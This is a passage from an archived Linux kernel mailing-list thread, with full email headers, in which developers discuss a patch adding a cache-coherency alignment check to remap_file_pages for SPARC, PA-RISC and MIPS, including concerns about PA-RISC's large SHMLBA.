--nextPart693942785.G1J35Xp1NE
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.19 (GNU/Linux)

iEYEABECAAYFAlK5VMcACgkQXKSJPmm5/E4vNACeIw+2YcDPimefd8bZ4rv+5G7W
g0sAn3JNemYPraEQ9fmVCKCDLsw2vOnl
=DHVT
-----END PGP SIGNATURE-----

--nextPart693942785.G1J35Xp1NE--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@linux.intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.mips.general
Subject: [PATCH] remap_file_pages needs to check for cache coherency
Date: Fri, 27 Dec 2013 13:00:18 -0500
Lines: 41
Approved: news@gmane.org
Message-ID: <20131227180018.GC4945@linux.intel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1388167219 25070 80.91.229.3 (27 Dec 2013 18:00:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 27 Dec 2013 18:00:19 +0000 (UTC)
Cc: "David S. Miller" <davem@davemloft.net>,
	sparclinux@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-mips@linux-mips.org
To: linux-mm@kvack.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 27 19:00:25 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vwbhu-0008NL-4o
	for glpp-linux-parisc@plane.gmane.org; Fri, 27 Dec 2013 19:00:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754047Ab3L0SAV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 27 Dec 2013 13:00:21 -0500
Original-Received: from mga02.intel.com ([134.134.136.20]:57555 "EHLO mga02.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753716Ab3L0SAV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 27 Dec 2013 13:00:21 -0500
Original-Received: from orsmga002.jf.intel.com ([10.7.209.21])
  by orsmga101.jf.intel.com with ESMTP; 27 Dec 2013 10:00:20 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.95,561,1384329600"; 
   d="scan'208";a="458488717"
Original-Received: from unknown (HELO rizzo.int.wil.cx) ([10.255.12.21])
  by orsmga002.jf.intel.com with ESMTP; 27 Dec 2013 10:00:19 -0800
Original-Received: by rizzo.int.wil.cx (Postfix, from userid 1000)
	id AB382172477; Fri, 27 Dec 2013 13:00:18 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5565 gmane.linux.kernel.mm:111298 gmane.linux.ports.sparc:18555 gmane.linux.ports.mips.general:39946
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5565>


It seems to me that while (for example) on SPARC, it's not possible to
create a non-coherent mapping with mmap(), after we've done an mmap,
we can then use remap_file_pages() to create a mapping that no longer
aliases in the D-cache.

I have only compile-tested this patch.  I don't have any SPARC hardware,
and my PA-RISC hardware hasn't been turned on in six years ... I noticed
this while wandering around looking at some other stuff.

diff --git a/mm/fremap.c b/mm/fremap.c
index 5bff081..01fc2e7 100644
--- a/mm/fremap.c
+++ b/mm/fremap.c
@@ -19,6 +19,7 @@
 
 #include <asm/mmu_context.h>
 #include <asm/cacheflush.h>
+#include <asm/shmparam.h>
 #include <asm/tlbflush.h>
 
 #include "internal.h"
@@ -177,6 +178,13 @@ SYSCALL_DEFINE5(remap_file_pages, unsigned long, start, unsigned long, size,
 	if (start < vma->vm_start || start + size > vma->vm_end)
 		goto out;
 
+#ifdef __ARCH_FORCE_SHMLBA
+	/* Is the mapping cache-coherent? */
+	if ((pgoff ^ linear_page_index(vma, start)) &
+	    ((SHMLBA-1) >> PAGE_SHIFT))
+		goto out;
+#endif
+
 	/* Must set VM_NONLINEAR before any pages are populated. */
 	if (!(vma->vm_flags & VM_NONLINEAR)) {
 		/*
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.mips.general
Subject: Re: [PATCH] remap_file_pages needs to check for cache coherency
Date: Fri, 27 Dec 2013 13:48:14 -0500 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <20131227.134814.345379118522548543.davem@davemloft.net>
References: <20131227180018.GC4945@linux.intel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1388170093 23080 80.91.229.3 (27 Dec 2013 18:48:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 27 Dec 2013 18:48:13 +0000 (UTC)
Cc: linux-mm@kvack.org, sparclinux@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-mips@linux-mips.org
To: willy@linux.intel.com
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 27 19:48:18 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VwcSH-0007TP-Mn
	for glpp-linux-parisc@plane.gmane.org; Fri, 27 Dec 2013 19:48:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754737Ab3L0SsQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 27 Dec 2013 13:48:16 -0500
Original-Received: from shards.monkeyblade.net ([149.20.54.216]:60372 "EHLO
	shards.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753044Ab3L0SsQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 27 Dec 2013 13:48:16 -0500
Original-Received: from localhost (cpe-74-71-55-169.nyc.res.rr.com [74.71.55.169])
	(Authenticated sender: davem-davemloft)
	by shards.monkeyblade.net (Postfix) with ESMTPSA id 8D80658FFCB;
	Fri, 27 Dec 2013 10:48:15 -0800 (PST)
In-Reply-To: <20131227180018.GC4945@linux.intel.com>
X-Mailer: Mew version 6.5 on Emacs 24.1 / Mule 6.0 (HANACHIRUSATO)
X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.5.1 (shards.monkeyblade.net [0.0.0.0]); Fri, 27 Dec 2013 10:48:16 -0800 (PST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5566 gmane.linux.kernel.mm:111299 gmane.linux.ports.sparc:18556 gmane.linux.ports.mips.general:39947
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5566>

From: Matthew Wilcox <willy@linux.intel.com>
Date: Fri, 27 Dec 2013 13:00:18 -0500

> It seems to me that while (for example) on SPARC, it's not possible to
> create a non-coherent mapping with mmap(), after we've done an mmap,
> we can then use remap_file_pages() to create a mapping that no longer
> aliases in the D-cache.
> 
> I have only compile-tested this patch.  I don't have any SPARC hardware,
> and my PA-RISC hardware hasn't been turned on in six years ... I noticed
> this while wandering around looking at some other stuff.

I suppose this is needed, but only in the case where the mapping is
shared and writable, right?  I don't see you testing those conditions,
but with them I'd be OK with this change.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.mips.general
Subject: Re: [PATCH] remap_file_pages needs to check for cache coherency
Date: Fri, 27 Dec 2013 14:13:16 -0500
Lines: 31
Approved: news@gmane.org
Message-ID: <BLU0-SMTP17D26551261DF285A7E6F497CD0@phx.gbl>
References: <20131227180018.GC4945@linux.intel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1388171604 5997 80.91.229.3 (27 Dec 2013 19:13:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 27 Dec 2013 19:13:24 +0000 (UTC)
Cc: linux-mm@kvack.org, "David S. Miller" <davem@davemloft.net>,
	sparclinux@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-mips@linux-mips.org
To: Matthew Wilcox <willy@linux.intel.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 27 20:13:29 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vwcqe-00088w-Gz
	for glpp-linux-parisc@plane.gmane.org; Fri, 27 Dec 2013 20:13:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754040Ab3L0TN1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 27 Dec 2013 14:13:27 -0500
Original-Received: from blu0-omc4-s14.blu0.hotmail.com ([65.55.111.153]:40836 "EHLO
	blu0-omc4-s14.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753709Ab3L0TN1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 27 Dec 2013 14:13:27 -0500
Original-Received: from BLU0-SMTP17 ([65.55.111.137]) by blu0-omc4-s14.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Fri, 27 Dec 2013 11:13:26 -0800
X-TMN: [6gVrQ6aWam5T4sMNNMLAwsGYhsw8AsS4]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.171.205]) by BLU0-SMTP17.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Fri, 27 Dec 2013 11:13:25 -0800
In-Reply-To: <20131227180018.GC4945@linux.intel.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 27 Dec 2013 19:13:25.0093 (UTC) FILETIME=[B7552950:01CF0337]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5567 gmane.linux.kernel.mm:111300 gmane.linux.ports.sparc:18557 gmane.linux.ports.mips.general:39948
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5567>

On 27-Dec-13, at 1:00 PM, Matthew Wilcox wrote:

> +#ifdef __ARCH_FORCE_SHMLBA
> +	/* Is the mapping cache-coherent? */
> +	if ((pgoff ^ linear_page_index(vma, start)) &
> +	    ((SHMLBA-1) >> PAGE_SHIFT))
> +		goto out;
> +#endif


I think this will cause problems on PA-RISC.  The reason is we have an  
additional offset
for mappings.  See get_offset() in sys_parisc.c.

SHMLBA is 4 MB on PA-RISC.  If we limit ourselves to aligned mappings,  
we run out of
memory very quickly.  Even with our current implementation, we fail  
the perl locales test
with locales-all installed.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@linux.intel.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: Re: [PATCH] remap_file_pages needs to check for cache coherency
Date: Fri, 27 Dec 2013 14:20:41 -0500
Lines: 48
Approved: news@gmane.org
Message-ID: <20131227192041.GD4945@linux.intel.com>
References: <20131227180018.GC4945@linux.intel.com>
 <20131227.134814.345379118522548543.davem@davemloft.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1388172048 10634 80.91.229.3 (27 Dec 2013 19:20:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 27 Dec 2013 19:20:48 +0000 (UTC)
Cc: linux-mm@kvack.org, sparclinux@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-mips@linux-mips.org
To: David Miller <davem@davemloft.net>
Original-X-From: owner-linux-mm@kvack.org Fri Dec 27 20:20:51 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1Vwcxj-0002Zs-KL
	for glkm-linux-mm-2@m.gmane.org; Fri, 27 Dec 2013 20:20:47 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 821276B0031; Fri, 27 Dec 2013 14:20:46 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 7ADF46B0036; Fri, 27 Dec 2013 14:20:46 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 627E96B0037; Fri, 27 Dec 2013 14:20:46 -0500 (EST)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-pa0-f51.google.com (mail-pa0-f51.google.com [209.85.220.51])
	by kanga.kvack.org (Postfix) with ESMTP id 2A24C6B0031
	for <linux-mm@kvack.org>; Fri, 27 Dec 2013 14:20:46 -0500 (EST)
Original-Received: by mail-pa0-f51.google.com with SMTP id fa1so9628068pad.10
        for <linux-mm@kvack.org>; Fri, 27 Dec 2013 11:20:45 -0800 (PST)
X-Gm-Message-State: ALoCoQnWUNVxnobGS9BkmMqNCsP2+KlqM0YNcFD/5QoIikDAY6VMH4GJPylZOTi8lAIstybVvpdD++SqdYEz2jziZPQYZGK3XM4BYSrbr1QF8brVifAYHcu4MPaUgTdw0jTHEs0a+h8RJtAX/Cb01XGGaPF2yw+Hgw==
X-Received: by 10.68.200.129 with SMTP id js1mr52860475pbc.14.1388172045787;
        Fri, 27 Dec 2013 11:20:45 -0800 (PST)
X-Received: by 10.68.200.129 with SMTP id js1mr52860410pbc.14.1388172044841;
        Fri, 27 Dec 2013 11:20:44 -0800 (PST)
Original-Received: from mga09.intel.com (mga09.intel.com. [134.134.136.24])
        by mx.google.com with ESMTP id m8si17801253pbq.179.2013.12.27.11.20.44
        for <linux-mm@kvack.org>;
        Fri, 27 Dec 2013 11:20:44 -0800 (PST)
Received-SPF: pass (google.com: domain of willy@linux.intel.com designates 134.134.136.24 as permitted sender) client-ip=134.134.136.24;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of willy@linux.intel.com designates 134.134.136.24 as permitted sender) smtp.mail=willy@linux.intel.com
Original-Received: from orsmga001.jf.intel.com ([10.7.209.18])
  by orsmga102.jf.intel.com with ESMTP; 27 Dec 2013 11:16:50 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.95,562,1384329600"; 
   d="scan'208";a="430782225"
Original-Received: from unknown (HELO rizzo.int.wil.cx) ([10.255.12.21])
  by orsmga001.jf.intel.com with ESMTP; 27 Dec 2013 11:20:41 -0800
Original-Received: by rizzo.int.wil.cx (Postfix, from userid 1000)
	id 3838A172477; Fri, 27 Dec 2013 14:20:41 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20131227.134814.345379118522548543.davem@davemloft.net>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:111301 gmane.linux.ports.sparc:18558 gmane.linux.ports.parisc:5568 gmane.linux.ports.mips.general:39949
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/111301>

On Fri, Dec 27, 2013 at 01:48:14PM -0500, David Miller wrote:
> From: Matthew Wilcox <willy@linux.intel.com>
> Date: Fri, 27 Dec 2013 13:00:18 -0500
> 
> > It seems to me that while (for example) on SPARC, it's not possible to
> > create a non-coherent mapping with mmap(), after we've done an mmap,
> > we can then use remap_file_pages() to create a mapping that no longer
> > aliases in the D-cache.
> > 
> > I have only compile-tested this patch.  I don't have any SPARC hardware,
> > and my PA-RISC hardware hasn't been turned on in six years ... I noticed
> > this while wandering around looking at some other stuff.
> 
> I suppose this is needed, but only in the case where the mapping is
> shared and writable, right?  I don't see you testing those conditions,
> but with them I'd be OK with this change.

VM_SHARED is checked a few lines above; too far to be visible in the
original context diff:

        if (!vma || !(vma->vm_flags & VM_SHARED))
                goto out;
 
        if (!vma->vm_ops || !vma->vm_ops->remap_pages)
                goto out;
 
        if (start < vma->vm_start || start + size > vma->vm_end)
                goto out;
 
+#ifdef __ARCH_FORCE_SHMLBA
+       /* Is the mapping cache-coherent? */
+       if ((pgoff ^ linear_page_index(vma, start)) &
+           ((SHMLBA-1) >> PAGE_SHIFT))
+               goto out;
+#endif

I don't understand why we need to check for writable here.  We don't
seem to check VM_WRITE in arch_get_unmapped_area(), so I don't see why
we should be checking it here.  Put it another way; if I mmap() a file
with PROT_READ only, should I be able to see stale data after another
thread has written to it?

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:10:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@linux.intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.mips.general
Subject: Re: [PATCH] remap_file_pages needs to check for cache coherency
Date: Fri, 27 Dec 2013 14:33:30 -0500
Lines: 40
Approved: news@gmane.org
Message-ID: <20131227193330.GE4945@linux.intel.com>
References: <20131227180018.GC4945@linux.intel.com>
 <BLU0-SMTP17D26551261DF285A7E6F497CD0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1388172812 18238 80.91.229.3 (27 Dec 2013 19:33:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 27 Dec 2013 19:33:32 +0000 (UTC)
Cc: linux-mm@kvack.org, "David S. Miller" <davem@davemloft.net>,
	sparclinux@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-mips@linux-mips.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 27 20:33:38 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VwdA8-0007wL-P4
	for glpp-linux-parisc@plane.gmane.org; Fri, 27 Dec 2013 20:33:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754481Ab3L0Tdd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 27 Dec 2013 14:33:33 -0500
Original-Received: from mga09.intel.com ([134.134.136.24]:3260 "EHLO mga09.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754394Ab3L0Tdc (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 27 Dec 2013 14:33:32 -0500
Original-Received: from orsmga002.jf.intel.com ([10.7.209.21])
  by orsmga102.jf.intel.com with ESMTP; 27 Dec 2013 11:29:39 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.95,562,1384329600"; 
   d="scan'208";a="458515073"
Original-Received: from unknown (HELO rizzo.int.wil.cx) ([10.255.12.21])
  by orsmga002.jf.intel.com with ESMTP; 27 Dec 2013 11:33:31 -0800
Original-Received: by rizzo.int.wil.cx (Postfix, from userid 1000)
	id 6C102172477; Fri, 27 Dec 2013 14:33:30 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <BLU0-SMTP17D26551261DF285A7E6F497CD0@phx.gbl>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5569 gmane.linux.kernel.mm:111302 gmane.linux.ports.sparc:18559 gmane.linux.ports.mips.general:39950
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5569>

On Fri, Dec 27, 2013 at 02:13:16PM -0500, John David Anglin wrote:
> On 27-Dec-13, at 1:00 PM, Matthew Wilcox wrote:
> 
> >+#ifdef __ARCH_FORCE_SHMLBA
> >+	/* Is the mapping cache-coherent? */
> >+	if ((pgoff ^ linear_page_index(vma, start)) &
> >+	    ((SHMLBA-1) >> PAGE_SHIFT))
> >+		goto out;
> >+#endif
> 
> 
> I think this will cause problems on PA-RISC.  The reason is we have
> an additional offset
> for mappings.  See get_offset() in sys_parisc.c.

I don't think it will cause any additional problems.  The test merely
asks "Is the offset to put at this address cache-coherent with the offset
that was at this address when the mmap was established?"

> SHMLBA is 4 MB on PA-RISC.  If we limit ourselves to aligned
> mappings, we run out of
> memory very quickly.  Even with our current implementation, we fail
> the perl locales test
> with locales-all installed.

I know the large SHMLBA is problematic for PA-RISC, but I don't think
there's a lot of code out there using remap_file_pages().  code.google.com
found almost nothing, and a regular google search found only a couple
of little toys.

Have you considered measuring SHMLBA on different CPU models and
reducing it at boot time?  I know that 4MB is the architectural guarantee
(actually, I seem to remember that 16MB was the architectural guarantee,
but jsm found some CPU architects who said it would enver exceed 4MB).
I bet some CPUs have considerably lower cache coherency limits.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: Re: [PATCH] remap_file_pages needs to check for cache coherency
Date: Fri, 27 Dec 2013 14:47:32 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <BLU0-SMTP15241D603FEB77037F6D1E97CD0@phx.gbl>
References: <20131227180018.GC4945@linux.intel.com> <BLU0-SMTP17D26551261DF285A7E6F497CD0@phx.gbl> <20131227193330.GE4945@linux.intel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1388173668 26669 80.91.229.3 (27 Dec 2013 19:47:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 27 Dec 2013 19:47:48 +0000 (UTC)
Cc: linux-mm@kvack.org, "David S. Miller" <davem@davemloft.net>,
	sparclinux@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-mips@linux-mips.org
To: Matthew Wilcox <willy@linux.intel.com>
Original-X-From: sparclinux-owner@vger.kernel.org Fri Dec 27 20:47:53 2013
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1VwdNx-00050T-BB
	for lnx-sparclinux@plane.gmane.org; Fri, 27 Dec 2013 20:47:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754620Ab3L0Trv (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Fri, 27 Dec 2013 14:47:51 -0500
Original-Received: from blu0-omc4-s5.blu0.hotmail.com ([65.55.111.144]:2494 "EHLO
	blu0-omc4-s5.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754598Ab3L0Trv (ORCPT
	<rfc822;sparclinux@vger.kernel.org>);
	Fri, 27 Dec 2013 14:47:51 -0500
Original-Received: from BLU0-SMTP15 ([65.55.111.136]) by blu0-omc4-s5.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Fri, 27 Dec 2013 11:47:50 -0800
X-TMN: [Kz7l7icolV3NLZEbbOYwKaq4J5W1ZNe/]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.171.205]) by BLU0-SMTP15.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Fri, 27 Dec 2013 11:47:49 -0800
In-Reply-To: <20131227193330.GE4945@linux.intel.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 27 Dec 2013 19:47:49.0334 (UTC) FILETIME=[85B75760:01CF033C]
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:18560 gmane.linux.kernel.mm:111303 gmane.linux.ports.parisc:5570 gmane.linux.ports.mips.general:39951
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/18560>

On 27-Dec-13, at 2:33 PM, Matthew Wilcox wrote:

> Have you considered measuring SHMLBA on different CPU models and
> reducing it at boot time?  I know that 4MB is the architectural  
> guarantee
> (actually, I seem to remember that 16MB was the architectural  
> guarantee,
> but jsm found some CPU architects who said it would enver exceed 4MB).
> I bet some CPUs have considerably lower cache coherency limits.


It's worth looking at.  The value is supposed to be returned by the  
PDC_CACHE PDC
call but I know my rp3440 returns a value of 0 indicating that the  
aliasing boundary
is unknown and may be greater than 16MB.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.mips.general
Subject: Re: [PATCH] remap_file_pages needs to check for cache coherency
Date: Fri, 27 Dec 2013 15:14:39 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <BLU0-SMTP67B57AF06A5AC44236538A97CD0@phx.gbl>
References: <20131227180018.GC4945@linux.intel.com> <BLU0-SMTP17D26551261DF285A7E6F497CD0@phx.gbl> <20131227193330.GE4945@linux.intel.com> <BLU0-SMTP15241D603FEB77037F6D1E97CD0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
